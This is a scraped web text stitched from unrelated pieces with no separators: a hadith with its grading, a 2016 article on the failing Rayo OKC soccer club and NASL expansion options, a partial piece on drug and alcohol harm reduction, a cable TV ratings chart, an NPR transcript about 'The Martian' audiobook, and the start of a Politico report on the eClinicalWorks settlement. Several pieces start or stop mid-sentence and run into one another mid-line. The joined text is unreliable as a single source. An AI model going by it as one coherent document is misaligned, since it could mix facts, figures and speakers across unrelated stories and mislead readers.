Grade: Hasan (fair) according to Ibn Kathir
عن حذيفة قَالَ قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ إِنَّ قَوْمًا كَانُوا أَهْلَ ضَعْفٍ وَمَسْكَنَةٍ قَاتَلَهُمْ أَهْلُ تَجَبُّرٍ وَعَدَدٍ فَأَظْهَرَ اللَّهُ أَهْلَ الضَّعْفِ عَلَيْهِمْ فَعَمَدُوا إِلَى عَدُوِّهِمْ فَاسْتَعْمَلُوهُمْ وَسَلَّطُوهُمْ فَأَسْخَطُوا اللَّهَ عَلَيْهِمْ إِلَى يَوْمِ يَلْقَوْنَهُ
22952 مسند أحمد بَاقِي مُسْنَدِ الْأَنْصَارِ إن قوما كانوا أهل ضعف ومسكنة قاتلهم أهل تجبر وعدد
المحدث ابن كثير خلاصة حكم المحدث إسناده حسنThe Rayo OKC experiment has failed. The league announced its intentions to expand to the city in 2013, but had its efforts to launch there derailed when Oklahoma City FC investor Tim McLaughlin jumped ship to join the USL bid in the town that would become the Oklahoma City Energy. Sold Out Strategies, one of the groups behind what would have become a NASL incarnation of Oklahoma City FC, kept working behind the season until a new investor group came together. SOS found a majority investor in Spanish club Rayo Vallecano. In November 2015, NASL announced that Rayo OKC would debut in Spring 2016, just five months away. The league, which had sued McLaughlin and settled the case, remained determined to go to Oklahoma City despite the Energy’s success in the market.
Rayo OKC debuted earlier this season, and the experiment of having both NASL and USL teams operating in a metro area of only 1.35 million was going okay. Rayo OKC drew an average attendance of 4965 across five Spring Season home matches, while the Energy drew an average of 5481 over the same amount of games in the same period. Considering this was an improvement over the Energy drawing 5130 during its first give games in 2015, the presence of Rayo in the market did not seem corrosive at all. A spirited Open Cup derby match between the clubs drew 4385. Up until Rayo Vallecano was relegated from La Liga, the experiment in OKC could have been objectively said to be going well.
Rayo’s relegation triggered a series of events that have been among the biggest embarrassments in league history. That is saying a lot considering several of the stunts the San Antonio Scorpions were involved in, from trading for Walter Restrepo in exchange for hotel accommodations to firing Alen Marcina at a baggage claim. Marcina once again was at the wrong end of this, as he and Sold Out Strategies walked from the Rayo operation after the majority owners in Spain started dictating a new cost reducing strategy. Peak insanity was (hopefully) reached when minority owner Sean Jones collected 40 squares of the Nexxfield turf the club uses to cover the Miller Stadium football lines. Jones released a statement to the effect that he had purchased the turf independently from the club and was simply recovering his own property.
All of this was a shame, because on the field, Rayo OKC was a competitive club featuring respected NASL veterans like Billy Forbes and Richard Menjivar, MLS vets Michel and Robbie Findley and Greek international star Giorgios Samaras. Some of the budget cut rumors included out-of-touch thoughts like the team bussing to its away matches. Rayo’s nearest NASL rival (Indy) is an 11 hour drive from Miller Stadium, the next closest 17 hours (Carolina). Sold Out Strategies had handled local marketing and operations, and Rayo OKC drew only 1251 in its first match without them. The second SOS-less home match saw just 924 announced attendance. The Rayo front office is said to be operating as a skeleton crew, seemingly designed to see the season out and nothing more.
With Minnesota United moving on to MLS and Chicago delayed until 2018, the NASL is in jeopardy of not having a team in the Central Time Zone in 2017, just as the San Francisco Deltas arrive to fill the league’s Pacific Time Zone gap. NASL has needed waivers from USSF to maintain its Division Two status while failing to meet the standard of having teams in EST, CST and PST. The lack of a Central Time Zone team could put NASL in jeopardy of losing D2 status just as USL is applying for D2 sanctioning.
An answer to this problem would be for NASL owners to prop up a team in the Central Time Zone similar to how the Atlanta Silverbacks were league run in 2015. Each club was reported to have contributed $250,000 towards the operations of the Atlanta Silverbacks. The Board of Governors decided against continuing to float Atlanta in 2016, and the franchise dissolved when NASL could not find suitable investors to take it over (though the Silverbacks brand lives on in NPSL).
In the face of jeopardizing its D2 status just as USL reaches for that standard, NASL owners could decide to fund a Central Time Zone team for one year until Chicago is ready to debut in 2018. The league could choose to keep the team in Oklahoma City, or they could experiment in another CST metropolitan statistical area that exceeds the D2 requirement of a 750,000 population. The upside of that is they could use the season as a test of a new market and hope to attract a long term investor that will keep the club there. Below we will take a look at some of the options that existing among those Central Time Zone markets without a MLS or USL team today, in addition to the benefits of keeping the team in OKC for one more season.
Oklahoma City
Keeping the club in Oklahoma City for 2017 is more attractive than one might think. First, the Spring Season attendance was pretty good at almost 5000 per match, so it shows that there is support for a NASL club there. Second, if Rayo leaves the picture, Sold Out Strategies and Sean Jones could come back into it. This would give NASL people on the ground invested in the project emotionally and financially. There is already an acceptable venue situation in Miller Stadium, and it appears that Jones owns the Nexxfield turf used to make it a more attractive playing surface. If Jones and Sold Out Strategies could find a new investor partner to replace Rayo, the team could even permanently stay there. Of course, the club would no longer be called Rayo OKC. Perhaps they could revert to the originally planned name, Oklahoma City FC. While the Oklahoma City Energy appear to be ramping up to invest in their own downtown soccer specific stadium, attendance figures showed that both teams can exist in the market.
MSA Population: 1.3 million
Soccer Teams: Oklahoma City Energy (USL), Oklahoma City Energy U-23 (PDL)
Pro Sports Competition: Oklahoma City Thunder (NBA), Oklahoma City Dodgers (AAA)
Potential investors: Sean Jones and Sold Out Strategies
Venue: Miller Stadium
Austin
While the Austin Aztex are technically still a USL club, they have been on-hiatus for the 2016 season and will be inactive again in 2017. When speaking to the Austin-American Statesman, the team’s ownership did not inspire confidence that the core issue surrounding their hiatus, the lack of a stadium acceptable to them, will be resolved anytime soon.
“There is no suitable stadium. Until there is, the Aztex won’t field a team,” Bobby Epstein, chairman of Circuit of the Americas and a majority investor in the Aztex, told the Austin American-Statesman. The Statesman reported that the club found University of Texas’ Myers Stadium too expensive, while they have also ruled out playing in high school football stadiums because they wouldn’t be able to generate revenues from alcohol sales. An offer extended by the Austin Huns rugby club to share a stadium with the Aztex has not progressed. “I’m probably out of the stadium-building business,” Epstein said. “We’ll keep looking for long-term solutions.”
With the Aztex seemingly out of business for the foreseeable future, NASL could take the opportunity to test one of the most attractive markets in the nation, while finding its way back into one of the country’s most important states. The Austin MSA has a population of 2 million, and is the fastest growing market over a million in the nation. Culturally, Austin has as much in common with the Pacific-Northwest as it does with the rest of Texas, and it has become a hub of technology companies in recent years. The league could look to find a long term investor similar to Brian Andres Helmick of the San Francisco Deltas in the tech community.
As Epstein points out, the venue is a challenge in Austin, however there are several options that the Aztex ruled out that NASL might live with for at least one season: Myers Stadium at the University of Texas, which was cited by Epstein is being expensive making it unlikely; Burger Stadium, a high school football field 15 minutes away from downtown Austin; and the Dell Diamond in Round Rock, home of the Round Rock Express AAA baseball team and previous host to exhibitions between Liga MX clubs.
From a branding perspective, NASL could call the team the Austin Scorpions in hopes of attracting any sentimental, nearby fans of the old San Antonio club (Austin and San Antonio are an hour and a half drive apart), they could go with something straightforward like Austin FC or something quirky and unique to the market like Austin Weird SC.
MSA Population: 2.0 million
Soccer Teams: Austin Aztex (USL, dormant)
Pro Sports Competition: Round Rock Express (AAA), Austin Spurs (NBA-D) – while not pro, the University of Texas looms large
Potential Investors: RSR Sports? A wealthy Austin tech leader?
Potential Venues: Myers Stadium, Burger Stadium, Dell Diamond
Milwaukee
With Chicago on the horizon for 2018, NASL could look to nearby Milwaukee as a CST solution for the 2017 season. Few people understand the Milwaukee landscape better than Peter Wilt, former President of Indy Eleven and current CEO of the Chicago NASL group Wilt could assist the league in figuring out how to showcase pro soccer in Milwaukee for a season, with the hope of attracting a long-term investor that will give his Chicago NASL team a local rival.
When asked by Midfield Press if he could see a pro soccer team coming to Milwaukee in the near future, Wilt said, “Yes I do…at least one. I think there are scenarios for either a USL team, an NASL team or even both ala OKC. If Milwaukee Wave owner Mike Zimmerman is successful in getting his south suburban baseball park he will likely add a PDL team to the venue as he did in Kokomo, Indiana and that could easily lead to a USL team. A suburban USL team, especially on that side of town, would leave the city open to an NASL team in a better location that would appeal greater to young urban adults.”
Beyond the Wave ownership, the NPSL Milwaukee Torrent have expressed interest in going pro one day, and the Premier League of America’s Milwaukee Bavarians have been a fixture in the community since the 1920s. One thing Milwaukee has going for it is that it already has its own supporters group ready to get behind a pro team in town in the Milwaukee Barons. If any one of those organizations gets involved, the Milwaukee club could take its brand from them.
MSA Population: 1.6 million
Soccer Teams: Milwaukee Torrent (NPSL), Milwaukee Bavarians (PLA), Milwaukee Wave (MASL)
Pro Sports Competition: Milwaukee Brewers (MLB), Milwaukee Bucks (NBA)
Potential Investors: Mike Zimmerman
Potential Venues: Uihlein Soccer Park
Memphis
With the Nashville NASL group having given way to the USL’s upcoming Nashville FC, NASL could look to test out another major Tennessee city. Memphis has a history in the classic NASL. The Memphis Rogues played in 1978, 1979 and 1980, contributing one of the most distinctive logos in soccer history. Today Memphis’ soccer club is the NPSL’s Memphis City FC, whose logo appears to be inspired by NYCFC.
Venue options in Memphis are somewhat challenging with the Mike Rose Soccer Complex being on the small side at 2500 seats (D2 requires 5000 minimum), and AutoZone Park being a baseball stadium. The Liberty Bowl, where the Rogues played, is very large for today’s NASL.
Finding potential long term investors could be a challenge as well. The Memphis Redbirds AAA baseball team was sold by the St. Louis Cardinals in March to Peter B. Freund, who owns several other minor league baseball teams across the country. Memphis Grizzlies owner and technology founder Robert Pera could be another option. Taking a page out of Puerto Rico FC’s celebrity investor book, there’s also Grizzlies minority owner Justin Timberlake.
As far as branding, bringing back the Rogues name would be one possibility as would partnering with the NPSL team to use Memphis City FC.
MSA Population: 1.3 million
Soccer Teams: Memphis City FC (NPSL)
Pro Sports Competition: Memphis Grizzlies (NBA), Memphis Redbirds (AAA)
Potential Investors: Peter B. Freund. Robert Pera.
Potential Venues: Mike Rose Soccer Complex. AutoZone Park.
New Orleans
While professional soccer may not have a strong tradition in New Orleans, the city has demonstrated some inclination to the sport. The US Women’s National Team drew over 32,000 spectators to the Superdome in a match against China last December.
The New Orleans soccer banner is carried today by the New Orleans Jesters, an NPSL club with one of the niftier brand concepts and color combinations (green-and-purple) in minor league |
experience of being loved or cared about in a way that is something other than instrumental can be very powerful,” says Humphreys.
At Insite, North America’s only supervised injection center, addicts can get clean needles and shoot up under medical supervision. It also has a detox program. “In itself, harm reduction is valuable regardless of whether it leads to abstinence,” says Gabor Maté, a Canadian addiction doctor and author of In the Realm of Hungry Ghosts, about his experience working at Insite, “Had [my patients] not had contact with Insite and the experience of acceptance and nonjudgment, they would not have ended up in detox” Maté says.
There are more than two dozen peer-reviewed studies of injection rooms, Maté says, “all showing positive effects in terms of reducing disease, fewer medical costs, increased prosocial function—absolutely nothing negative.” Humphreys, however, finds the data here less convincing than for needle exchange alone or opioid maintenance because, he says, there are not as many good studies by objective researchers.
Providing free heroin leads to abstinence more often than one might expect. One Swiss study found that 40% of participants sought abstinence treatment as a way of completing the program, despite the fact that it wasn’t required. This may be because heroin addicts’ lives tend to be occupied and defined by the difficult quest for drugs and the hustling needed to get money for them. When the drugs are easy to get, their lives can seem empty and boring. But with support, this extra free time can pave the way for either abstinence or employment, or both. In fact, some of the heroin studies have shown that employment rates as much as double, although they remain low and the rise is not much greater than that seen with methadone treatment alone.
Though newer, alcohol harm reduction also appears to be promising. One study, published in the Journal of the American Medical Association, found that a Seattle “wet house” program offering both booze and housing to chronic alcoholics cut public spending on policing and medical care for them by 53%, saving the city an average of $2,449 per person per month. Not only that, but the participants actually reduced their drinking from an average of 16 drinks per day to 11.
“It removes anxiety, provides acceptance, and reduces isolation,” says Maté, “When they are less anxious and less isolated and feel more accepted, there is less need to use. [Excessive] use of substances is about trying to adapt to unbearable emotional and social situation.”
Humphreys cautions that it is not yet clear whether “wet houses” have negative effects on the street alcoholics who aren’t offered them. They are currently being considered in San Francisco to house the most chronic alcoholics who cause the biggest public nuisance, and he worries that this might provide an incentive for people to get worse so they can get housing. “I’d like an apartment in San Francisco. And free wine would be awesome,” he jokes.
While harm reduction may make politicians queasy, the data clearly supports the most commonly used measures like needle exchange, methadone, and Suboxone, and so far suggests possible benefit from more controversial measures like heroin provision, safe injecting rooms, and “wet houses.” It may be a while before you see a crack pipe vending machine side-by-side with a soda vending machine, and they still remain to be properly evaluated, but it’s probably too early to dismiss the notion outright.
MORE: Happy Hour? ‘Wet Houses’ Allow Alcoholics to Drink with Surprising ResultsNETWORK FINALS: Despite the news runover into west coast primetime, the only change from morning numbers was a 0.1 bump for REPUBLICAN NATIONAL CONVENTION coverage on ABC.
Broadcast Official Nationals Program Ratings Chart
CABLE HIGHLIGHTS: Naturally FOX News romped on the final night of the REPUBLICAN NATIONAL CONVENTION, peaking at a 1.57 demo rating and 9.7M total viewers in the 10PM hour. CNN was considerably behind in the hour at 1.28/5.8M. (See Mitch Metcalf’s Convention Ratings Analysis post for much more on those numbers, and look for coverage next week of the Democratic Convention ratings.) HBO aired a special convention-related episode of REAL TIME WITH BILL MAHER at 0.23. Only 3 shows in the night’s Top 18 were unrelated to convention coverage, and they all aired on HGTV: FLIP OR FLOP up a tenth to 0.63, HOUSE HUNTERS at 0.46, and HOUSE HUNTERS INTL up a tenth to 0.43. Nickelodeon’s LOUD HOUSE was at #19 with 0.42, and Tru’s IMPRACTICAL JOKERS was right behind, down 0.13 to 0.41. On USA, QUEEN OF THE SOUTH wasn’t hurt very much by the loss of its WWE lead-in, down 0.03 to 0.39. On A&E, THE FIRST 48 was up 0.02 to 0.39. MTV’s RIDICULOUSNESS returned at 0.36/0.30. On We, BRAXTON FAMILY VALUES gained 0.06 to 0.34, and CUTTING IT IN THE ATL was up 0.05 to 0.22. Food Network’s BEAT BOBBY FLAY slipped 0.02 to 0.33. Bravo’s FLIPPING OUT rose 0.07 to 0.32. Spike’s LIP SYNC BATTLE lost 0.03 to 0.28. On Lifetime, MY CRAZY EX grew by 0.04 to 0.20, and I LOVE YOU BUT I LIED fell 0.03 to 0.14. FX’s SEX&DRUGS&ROCK&ROLL dropped 0.07 to 0.13. The night’s other convention stirred little interest, as a Syfy LIFE FROM COMIC-CON special was at 0.09. POP’s IMPACT WRESTLING was at 0.09. The final episode of BBCAmerica’s THIRTEEN ticked up to 0.04/101K
Top 50 Original Cable Telecasts with Demographic Detail
Top 150 Original Cable Telecasts
To search for a show: type Ctrl-F and type your show title in the search box.
Top 150 Original Cable Telecasts: Thursday July 21, 2016 P18-49 P2+ Rank Program Net Start Mins Rating (000s) 1 AMERICAS ELECTION HQ: RNC FOX NEWS CHANNEL 10:00 PM 60 1.57 9,724 2 AMERICAS ELECTION HQ: RNC FOX NEWS CHANNEL 11:00 PM 37 1.45 9,098 3 AMERICAS CHOICE 2016 CNN 10:00 PM 60 1.28 5,799 4 HANNITY FOX NEWS CHANNEL 11:37 PM 23 1.07 6,610 5 AMERICAS CHOICE 2016 CNN 11:00 PM 60 1.03 4,682 6 KELLY FILE, THE FOX NEWS CHANNEL 9:00 PM 60 0.88 6,553 7 AMERICAS CHOICE 2016 CNN 9:00 PM 60 0.81 4,302 8 FLIP OR FLOP HOME AND GARDEN TV 9:00 PM 30 0.63 2,406 9 AMERICAS CHOICE 2016 CNN 12:00 AM 60 0.62 2,596 10 THE OREILLY FACTOR FOX NEWS CHANNEL 8:00 PM 60 0.62 5,261 11 HANNITY FOX NEWS CHANNEL 12:00 AM 60 0.60 3,734 12 MSNBC SPECIAL COVERAGE MSNBC 10:00 PM 18 0.58 2,962 13 MSNBC SPECIAL COVERAGE MSNBC 10:18 PM 76 0.57 2,978 14 ANDERSON COOPER 360 CNN 8:00 PM 60 0.48 2,868 15 HOUSE HUNTERS HOME AND GARDEN TV 10:00 PM 30 0.46 1,866 16 MSNBC SPECIAL COVERAGE MSNBC 11:34 PM 26 0.44 2,503 17 ON THE RECORD W/GRETA FOX NEWS CHANNEL 7:00 PM 60 0.43 3,524 18 HOUSE HUNTERS INTL HOME AND GARDEN TV 10:30 PM 30 0.43 1,775 19 LOUD HOUSE NICKELODEON 5:00 PM 30 0.42 1,953 20 IMPRACTICAL JOKERS TRUTV 10:00 PM 30 0.41 953 21 QUEEN OF THE SOUTH USA NETWORK 10:00 PM 60 0.39 1,216 22 THE FIRST 48 A&E NETWORK 9:00 PM 61 0.39 1,113 23 MSNBC SPECIAL COVERAGE MSNBC 9:00 PM 60 0.39 2,190 24 CNN TONIGHT CNN 1:00 AM 60 0.38 1,469 25 STEVEN UNIVERSE THE CARTOON NETWORK 7:00 PM 30 0.37 1,532 26 RIDICULOUSNESS SSN8 MTV 10:31 PM 31 0.36 746 27 BRAXTON FAMILY VALUES WETV 9:00 PM 60 0.34 834 28 MSNBC SPECIAL COVERAGE MSNBC 8:00 PM 60 0.34 1,942 29 BEAT B.FLAY FOOD NETWORK 10:00 PM 30 0.33 1,008 30 FLIPPING OUT BRAVO 9:00 PM 60 0.32 1,014 31 IJ: INSIDE JOKES TRUTV 10:30 PM 31 0.30 735 32 RIDICULOUSNESS SSN8 MTV 10:00 PM 31 0.30 662 33 SPECIAL RPT W/BRET BAIER FOX NEWS CHANNEL 6:00 PM 60 0.29 3,009 34 MSNBC SPECIAL COVERAGE MSNBC 12:00 AM 60 0.29 1,692 35 FIRST 48 MINI A&E NETWORK 8:45 PM 15 0.29 891 36 PARDON THE INTERRUPTION ESPN 5:30 PM 30 0.28 695 37 SANJAY & CRAIG NICKELODEON 5:30 PM 15 0.28 1,481 38 AMERICAS ELECTION HQ: RNC FOX NEWS CHANNEL 1:00 AM 60 0.28 1,675 39 ERIN BURNETT OUTFRONT CNN 7:00 PM 60 0.28 1,728 40 LIP SYNC BATTLE: TMI SPIKE TV 10:00 PM 30 0.28 708 41 DEADLY SINS INVESTIGATION DISCOVERY 10:00 PM 60 0.24 977 42 CONAN TBS NETWORK 11:00 PM 60 0.24 603 43 STUCK IN THE MIDDLE DISNEY CHANNEL 8:00 PM 30 0.23 1,491 44 STRAIGHT OUTTA COMPTON: STRAIGHT OUTTA COMPTON HBO PRIME 8:30 PM 147 0.23 427 45 REAL TIME WITH BILL MAHER HBO PRIME 11:35 PM 29 0.23 946 46 CUTTING IT: IN THE ATL WETV 10:00 PM 60 0.22 544 47 AMERICAS ELECTION HQ: RNC FOX NEWS CHANNEL 2:00 AM 60 0.22 1,111 48 ALONE SPECIALS HISTORY 9:00 PM 63 0.22 788 49 MSNBC SPECIAL COVERAGE MSNBC 7:00 PM 60 0.21 1,477 50 CNN TONIGHT CNN 2:00 AM 60 0.21 915 51 FIVE, THE FOX NEWS CHANNEL 5:00 PM 60 0.21 2,831 52 SITUATION ROOM CNN 6:00 PM 60 0.21 1,174 53 COPS SPIKE TV 6:00 PM 30 0.21 485 54 STEVEN UNIVERSE THE CARTOON NETWORK 12:00 PM 60 0.20 1,228 55 CRASHLETES NICKELODEON 7:00 PM 30 0.20 1,047 56 MY CRAZY EX LIFETIME TELEVISION 9:00 PM 62 0.20 479 57 FOX AND FRIENDS FOX NEWS CHANNEL 8:00 AM 60 0.20 1,859 58 FOX AND FRIENDS FOX NEWS CHANNEL 7:00 AM 60 0.20 1,539 59 LONE STAR LAW ANIMAL PLANET 10:02 PM 61 0.20 759 60 AROUND THE HORN ESPN 5:00 PM 30 0.19 444 61 SPORTSCENTER 12AM L ESPN 12:02 AM 58 0.19 359 62 SITUATION ROOM CNN 5:00 PM 60 0.19 1,314 63 COPS SPIKE TV 5:00 PM 30 0.19 511 64 COPS SPIKE TV 5:30 PM 30 0.18 510 65 HIGHLY QUESTIONABLE ESPN 4:30 PM 30 0.18 408 66 HAPPENING NOW FOX NEWS CHANNEL 1:00 PM 60 0.18 1,771 67 COPS SPIKE TV 4:30 PM 30 0.18 484 68 MSNBC SPECIAL COVERAGE MSNBC 1:00 AM 60 0.18 922 69 NORTH WOODS LAW ANIMAL PLANET 9:01 PM 61 0.18 763 70 AMERICAS NEWSROOM FOX NEWS CHANNEL 9:00 AM 60 0.18 1,867 71 OUTNUMBERED FOX NEWS CHANNEL 12:00 PM 60 0.17 1,890 72 HAPPENING NOW FOX NEWS CHANNEL 11:00 AM 60 0.17 1,763 73 SKIN TIGHT: TRANSFORMED TLC 10:00 PM 60 0.17 555 74 YOUR WORLD W/NEIL CAVUTO FOX NEWS CHANNEL 4:00 PM 60 0.16 2,180 75 COPS SPIKE TV 4:00 PM 30 0.16 413 76 CNN NEWSROOM CNN 10:00 AM 60 0.16 919 77 COPS SPIKE TV 3:30 PM 30 0.16 398 78 REAL STORY, THE FOX NEWS CHANNEL 2:00 PM 60 0.16 1,583 79 AMERICAS NEWSROOM FOX NEWS CHANNEL 10:00 AM 60 0.16 1,760 80 AT THIS HOUR CNN 11:00 AM 60 0.16 967 81 COPS SPIKE TV 3:00 PM 30 0.16 418 82 CNN NEWSROOM CNN 9:00 AM 60 0.15 897 83 LEAD WITH JAKE TAPPER CNN 4:00 PM 60 0.15 1,133 84 SPORTSCENTER LATE L ESPN 11:00 PM 62 0.15 330 85 MSNBC SPECIAL COVERAGE MSNBC 6:00 PM 60 0.15 1,008 86 E! NEWS E! 7:00 PM 60 0.15 411 87 SHEPARD SMITH REPORTING FOX NEWS CHANNEL 3:00 PM 60 0.15 1,784 88 SPORTSCENTER 1AM L ESPN 1:00 AM 60 0.15 280 89 E:60 ESPN 10:00 PM 60 0.15 311 90 FOX AND FRIENDS FOX NEWS CHANNEL 6:00 AM 60 0.14 1,036 91 I LOVE YOU… BUT I LIED LIFETIME TELEVISION 10:02 PM 60 0.14 369 92 CNN NEWSROOM CNN 2:00 PM 60 0.14 894 93 SPORTSCENTER EARLY L ESPN 6:00 PM 60 0.14 337 94 SPORTSCENTER SPECIAL ESPN 7:00 PM 60 0.14 321 95 SPORTSNATION L ESPN 4:00 PM 30 0.14 302 96 CNN NEWSROOM CNN 3:00 PM 60 0.14 1,043 97 SPORTSCENTER AM L ESPN 11:00 AM 60 0.14 293 98 PREMIER BOXING CHAMPS L ESPN 8:00 PM 105 0.14 410 99 E! NEWS E! 11:02 PM 62 0.13 335 100 SEX&DRUGS&ROCK&ROLL FX 10:00 PM 32 0.13 333 101 SPORTSCENTER PRIME L ESPN 9:45 PM 15 0.13 328 102 NEW DAY CNN 8:00 AM 60 0.13 758 103 MTP DAILY MSNBC 5:00 PM 60 0.12 995 104 HOUSE HUNTERS INTL RENO HOME AND GARDEN TV 11:00 AM 60 0.12 487 105 COPS SPIKE TV 2:30 PM 30 0.12 363 106 PLACE FOR POLITICS MSNBC 4:00 PM 60 0.12 842 107 SPORTSCENTER MORNING L ESPN 2:00 AM 60 0.12 222 108 WOLF CNN 1:00 PM 60 0.12 893 109 INSIDE POLITICS CNN 12:00 PM 60 0.11 913 110 NEW DAY CNN 7:00 AM 60 0.11 673 111 HEY DUGGEE NICK JR 2:00 PM 30 0.11 523 112 SPORTSCENTER AM L ESPN 10:00 AM 60 0.11 253 113 NEW DAY CNN 6:00 AM 60 0.11 592 114 COPS SPIKE TV 1:30 PM 30 0.11 306 115 FIRST TAKE L: N/A ESPN2 10:00 AM 120 0.11 223 116 BEN AND HOLLYS LITTLE KIN NICK JR 2:30 PM 30 0.10 462 117 COPS SPIKE TV 1:00 PM 30 0.10 290 118 COPS SPIKE TV 2:00 PM 30 0.10 325 119 NFL LIVE L ESPN 3:00 PM 60 0.10 243 120 TINY LUXURY DIY NETWORK 9:30 PM 30 0.10 452 121 SPORTSCENTER AM L ESPN 9:00 AM 60 0.10 252 122 COPS SPIKE TV 12:30 PM 30 0.10 258 123 WATCH WHAT HAPPENS LIVE BRAVO 11:00 PM 30 0.10 320 124 SPORTSCENTER AM L ESPN 12:00 PM 60 0.10 240 125 HIS & HERS L ESPN2 12:00 PM 60 0.10 206 126 MORNING JOE-SPC MSNBC 9:00 AM 60 0.10 818 127 NFL INSIDERS L ESPN 2:00 PM 60 0.09 237 128 MORNING EXPRESS W/ MEADE HLN 6:00 AM 60 0.09 330 129 SPORTSCENTER AM L ESPN 8:00 AM 60 0.09 216 130 MSNBC LIVE W/ T.HALL MSNBC 11:00 AM 60 0.09 678 131 LIVE FROM COMIC-CON SYFY 8:00 PM 60 0.09 315 132 REMEMBER THE TITANS HBO PRIME 3:30 PM 113 0.09 220 133 MORNING JOE: REPUBLICAN NATIONAL CONVENTION MSNBC 6:00 AM 180 0.09 766 134 SPORTSCENTER AM L ESPN 7:00 AM 60 0.09 192 135 MORNING EXPRESS W/ MEADE HLN 7:00 AM 60 0.09 318 136 PLACE FOR POLITICS MSNBC 10:00 AM 60 0.09 692 137 IMPACT WRESTLING: 129 POP 8:00 PM 120 0.09 362 138 OTL – FIRST REPORT L ESPN 1:00 PM 30 0.09 228 139 MORNING EXPRESS W/ MEADE HLN 8:00 AM 60 0.09 308 140 PLACE FOR POLITICS MSNBC 2:00 PM 60 0.08 640 141 COLLEGE FOOTBALL LIVE L ESPN 1:30 PM 30 0.08 211 142 TINY LUXURY DIY NETWORK 9:00 PM 30 0.08 339 143 PARDON THE INTERRUPTION ESPN2 6:30 PM 30 0.08 203 144 BASKETBALL L: N/A ESPN2 7:00 PM 120 0.08 191 145 PLACE FOR POLITICS MSNBC 3:00 PM 60 0.08 683 146 PLACE FOR POLITICS MSNBC 1:00 PM 60 0.08 714 147 JIM GAFFIGAN SHOW, THE COMEDY CENTRAL 2:08 PM 33 0.07 140 148 ANDREA MITCHELL REPORTS MSNBC 12:00 PM 60 0.07 676 149 COPS SPIKE TV 11:00 AM 30 0.07 172 150 SPORTSNATION ESPN2 5:00 PM 30 0.07 147
###'The Martian' Started As A Self-Published Book
The movie that was nominated for several Oscars began as a self-published book by Andy Weir. NPR's Lynn Neary looks at how an unknown author's book became a hit audio book and major motion picture.
ERIC WESTERVELT, HOST:
Self-published authors often dream of snagging a big contract with a major publishing house. But after Andy Weir's self-published "The Martian" online, its next stop was not print. Instead, it got picked up by a small Canadian audiobook company. Of course, it was eventually made into a movie and nominated for multiple Oscars. We'll find out tomorrow night how many it wins. NPR's Lynn Neary has our story.
LYNN NEARY, BYLINE: When Podium Publishing discovered "The Martian," it was a new and very small audiobook company. Andy Weir was a complete unknown.
GREG LAWRENCE: When we talked to Andy Weir, when I talked to him on the phone, he'd never spoken with a publisher before.
NEARY: Greg Lawrence, a co-founder of Podium, was on the lookout for the company's first fiction title. A fan of science-fiction, he came upon "The Martian" online. He loved the characters, the writing, the humor.
LAWRENCE: It's a story that just grabs you right away - I mean, literally, the first line. And, you know, it's just one of those situations where I felt really engaged immediately, which is always a good sign.
NEARY: Lawrence was convinced the story of an astronaut stranded on Mars would have broad appeal. Lawrence's partner, James Tonn, was less impressed.
JAMES TONN: Greg sent me a link to his website. And I looked at it, and it was just a blue clickable link - it said "The Martian" on a white background. And I clicked it and my whole screen populated full of text. And that was the book that Greg was asking me to review.
NEARY: Tonn had to be persuaded to read the book. But once he did, he was on board. And Podium reached out to the author. Andy Weir says it had never occurred to him to pitch his book to a publishing company. And it didn't bother him at all that he was being approached by an audiobook publisher.
ANDY WEIR: I was surprised that anyone was interested. Remember, at this time, I didn't think that the book would have any mainstream appeal. So I thought it was just - oh, you know, it's just a book, you know, by a dork for dorks.
NEARY: As it turns out, people loved the story of the marooned astronaut who uses science and math to figure out how to survive. And the journal entries he kept from the moment he was left behind in the storm translated perfectly into audiobook form.
UNIDENTIFIED MAN: (Reading) After an hour and a half of sustained wind, NASA gave the order to abort. Nobody wanted to stop a month-long mission after only six days. But if the MAV took any more punishment, we'd all have gotten stranded down there. We had to go out in the storm to get from HAB to the MAV. That was going to be risky, but what choice did we have? Everyone made it but me.
NEARY: The growing popularity of Weir's self-published book also caught the attention of Random House, which wanted to make a deal for "The Martian." But, Weir says, there was one small problem. By then, he already had a contract with Podium.
WEIR: The contract basically said I couldn't make a print edition of the book. So when Random House started expressing an interest, thankfully, the guys at Podium were just, like, oh, sure, we'll let you buy that back.
NEARY: Podium Publishing, said Greg Lawrence, has never had any regrets about its decision to revert the rights back to Weir.
LAWRENCE: We weren't looking to grab some rights and then hold onto those at the expense of the author, especially - it's not just the author's livelihood; it's his dream. You know, it's what he wants to do with his life. We didn't have any interest in standing in the way of that.
NEARY: But it wasn't all altruistic. James Tonn says they figured the audiobook would likely benefit from the marketing clout of a major publishing house.
TONN: We only reverted them back if he got a huge deal, which he ended up getting. And we knew that if they can do it better than us, then let's, you know, make this author's dream come true, get much wider promotion for the book. And hopefully that comes back to help us at some point, which it did.
NEARY: One immediate benefit - both contracts required Andy Weir to take down the online version of the book. And that, says Weir, gave the audiobook a big sales boost.
WEIR: For about six or eight months or something like that, there was no version of "The Martian" available at all, other than the audiobook. So I think everybody won.
NEARY: There have been one more than 100,000 reviews of the audio version of "The Martian," on audible.com. And, Andy Weir says, he's made more money from the audiobook than he has from the movie. Lynn Neary, NPR News, Washington.
Copyright © 2016 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.Acting U.S. Attorney for Vermont Eugenia Cowles announces a $155 million settlement to be paid by eClinicalWorks to resolve allegations it misrepresented the abilities of its software and paid kickbacks. | AP Photo Feds levy $155M fine against software vendor for faulty patient records
A leading electronic health records maker and its founders will pay $155 million to resolve a lawsuit that accused the company of selling faulty software and defrauding the program that subsidized doctors to computerize their patient records, the Justice Department announced Wednesday.
The settlement, the first of its kind involving a health IT company, also states that Massachusetts-based eClinicalWorks paid kickbacks in exchange for promoting its product, which had flaws that may have exposed millions of patients to potential safety risks.
Story Continued Below
The defects reported in the settlement are familiar to anyone who has listened to doctors complain about their electronic records systems since the government started a $34 billion subsidy program in 2011 to get doctors to abandon paper records. Many of the records are clunky and invite mistakes that could imperil patients, doctors say.
Safety experts who worry that the computerized records have introduced new dangers to health care said they hoped the harsh remedy would focus industry and Congress on the need for a health IT safety center and stronger supervision of IT products by the Office of the National Coordinator for Health IT, or ONC, at the Department of Health and Human Services.
Morning eHealth A daily report on the intersection of health care and technology — in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
